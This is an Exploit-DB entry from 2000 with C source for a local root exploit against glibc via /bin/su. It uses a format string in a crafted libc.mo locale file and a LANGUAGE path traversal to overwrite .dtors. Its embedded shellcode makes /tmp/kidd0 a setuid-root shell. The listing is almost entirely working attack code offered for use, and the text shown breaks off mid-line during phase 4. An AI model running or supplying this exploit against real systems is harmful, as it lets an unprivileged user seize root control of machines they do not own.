Exploit-DB #209
Description: GLIBC - '/bin/su' Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-11-30
Author: localcore

Exploit:
/*
 *
 *  Working exploit for glibc executing /bin/su
 *
 *  To exploit this i have used a technique that
 *  overwrites the .dtors section of /bin/su program
 *  with the address of the shellcode, so, the program
 *  executes it when main returns or exit() is called
 *
 *   Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for
 *  explaining me this technique :)
 *
 *  The address of .dtors section can be easily obtained
 *  with objdump -h filename.
 *
 *  One the address of .dtors is known, the shellcode is
 *  pushed in a env var with a lot of nops, and the size
 *  of the "piece" of stack that must be "eaten" is calculated
 *  with a loop. At this point, we know the exact values of
 *  all parameters exept the address of the shellcode, but this
 *  value can be guessed with a little work :)
 *
 *  Tested on:       Red Hat 6.2, 6.1
 *                   SuSE 6.2
 *
 *  Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...
 *  (y todos los que me olvido)
 *
 *
 *  Doing / localcore - doing@netsearch-ezine.com
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;

char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
  char execbuf[1024];
  unsigned long dtors_addr = 0xAABBCCDD;
  unsigned long sh_addr = 0xBFFFFFFF;
  FILE *f;
  char *env[3];
  char *args[6];
  int eat = 0, pad = 0, fd;
  char *nop_env;
  int offset = 5000;
  struct stat st;
  int pid, c;
  char randfile[1024];
  char *args2[2], opt;

  printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
  printf("Usage: %s [options]\n", argv[0]);
  printf(" -o offset [default: 5000]\n");
  printf(" -n nops   [default: 12000]\n");
  printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
  printf(" -O path to objdump [default: /usr/bin/objdump]\n");
  printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
  printf(" -l language set language used in env var [default: search
it]\n");
  printf("Enjoy!\n\n");

  while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
    switch(opt) {
    case 'o':
      offset = atoi(optarg);
      break;
    case 'n':
      NOP_LEN = atoi(optarg);
      break;
    case 'm':
      msgfmt = strdup(optarg);
      break;
    case 'O':
      objdump = strdup(optarg);
      break;
    case 'e':
      sscanf(optarg, "%i:%i", &eat, &pad);
      break;
    case 'l':
      language = (char*) malloc(40 + strlen(optarg));
      if (!language) {
	printf("malloc failed\naborting\n");
	exit(0);
      }
      memset(language, 0, 40 + strlen(optarg));
      sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
      break;
    default:
      exit(0);
    }

  printf("Phase 1. Checking paths and write permisions\n");
  printf(" Checking for %s...", msgfmt);
  checkfor(msgfmt);
  printf(" Checking for %s...", objdump);
  checkfor(objdump);

  printf(" Checking write permisions on /tmp...");
  if (stat("/tmp", &st) < 0) {
    printf("failed. cannot stat /tmp\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IWOTH)) {
    printf("failed. /tmp it's not +w\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf(" Checking read permisions on /bin/su...");
  if (stat("/bin/su", &st) < 0) {
    printf("failed. cannot stat /bin/su\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IROTH)) {
    printf("failed. /bin/su it's not +r\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  if (!language) {
    printf(" Checking for a valid language...");
    search_valid_language();
    printf("Ok\n");
  }

  printf(" Checking that %s does not exist...", LC_MESSAGES);
  if (stat(LC_MESSAGES, &st) >= 0) {
    printf("failed. %s exists\naborting\n", LC_MESSAGES);
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf("Phase 2. Calculating eat and pad values\n ");
  srand(time(NULL));

  if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
  else {
    calculate_eat_space(&eat, &pad);
    printf("done\n eat = %i and pad = %i\n", eat, pad);
  }
  fflush(stdout);

  sh_addr -= offset;

  printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
  fflush(stdout);

  mkdir(LC_MESSAGES, 0755);
  chdir(LC_MESSAGES);

  f = fopen("libc.po", "w+");
  if (!f) {
    perror("fopen()");
    exit(0);
  }
  fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
  fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
  fclose(f);

  sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
  system(execbuf);

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  env[0] = language;
  env[1] = NULL;

  printf("Phase 4. Getting address of .dtors s